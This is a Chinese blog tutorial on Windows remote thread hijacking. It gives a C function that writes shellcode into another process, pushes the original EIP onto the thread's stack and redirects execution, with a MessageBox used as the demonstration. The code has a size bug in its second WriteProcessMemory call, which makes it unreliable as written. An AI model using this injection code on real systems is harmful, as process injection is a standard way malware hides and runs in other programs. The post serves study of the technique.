windows:shellcode 远程线程hook/注入(二)

        https://www.cnblogs.com/theseventhson/p/13218651.html   上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程supend之前的地址继续执行原线程的代码了?当时想的动态获取context中eip的地址,再把push eip 转成机器码,最后放到shellcode的头部。由于shellcode是C3(ret)结尾了,自然会把栈顶的4字节弹出来赋值给EIP,达到回到原线程代码继续执行的目的。但实际操作时,地址往往会带00,转成字符串操作时会被截断,导致返回地址错误,程序最终“跑飞”,不知道运行到哪去了。这种方式现在就卡这了:要想尽一切办法把返回地址写入栈顶

        刚开始的思路是拿到目标进程的DirTableBae,赋值给当前CR3,达到进程切换的目的,然后通过sub esp,4;  mov [esp], eip; 把eip写道栈顶;但实际操作时,在3环暂时未发现获取目标进程CR3的方法,这种思路暂时无法落地;最后还是靠着WriteProcessMemory把eip写入栈顶。shellcode注入部分代码更改如下:

       其他没变,增加了两行:ctx.Esp = ctx.Esp - 4;    WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, &currentEIP, shellcodeSize, NULL);

BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
    LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("shellcode address:%p
", shellAddress);
    if (shellAddress == NULL)
    {
        printf("VirtualAlloc Error
");
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE );
        ResumeThread(hThread);
        return FALSE;
    }

    WOW64_CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;

    if (!Wow64GetThreadContext(hThread, &ctx))
    {
        int a = GetLastError();
        printf("GetThreadContext Error:%d
", a);
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        ResumeThread(hThread);
        return FALSE;
    }
    
    DWORD currentEIP = ctx.Eip;
    DWORD currentESP = ctx.Esp;
    if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0)
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("write shellcode error
");
        ResumeThread(hThread);
        return FALSE;
    }
    ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
    ctx.Esp = ctx.Esp - 4;//分配4字节的空间,用来存放shellcode执行后的返回地址,也就是currentEIP,如下:
    printf("ctx.Esp:%p
", ctx.Esp);
    printf("return address:%p
", currentEIP);
    if (WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, &currentEIP, shellcodeSize, NULL) == 0)
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("write shellcode error
");
        ResumeThread(hThread);
        return FALSE;
    }
    if (!Wow64SetThreadContext(hThread, &ctx))
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("set thread context error
");
        ResumeThread(hThread);
        return FALSE;
    }
    ResumeThread(hThread);
    return TRUE;
}

  效果如下:确实弹出了messageBox:

     

      process hacker查看:shellcode成功写入:

  

  返回地址也成功写入:

   

       最后:推荐一个歪果仁总结的进程注入方法,非常详细,墙裂推荐:

        https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf

原文地址:https://www.cnblogs.com/theseventhson/p/13233078.html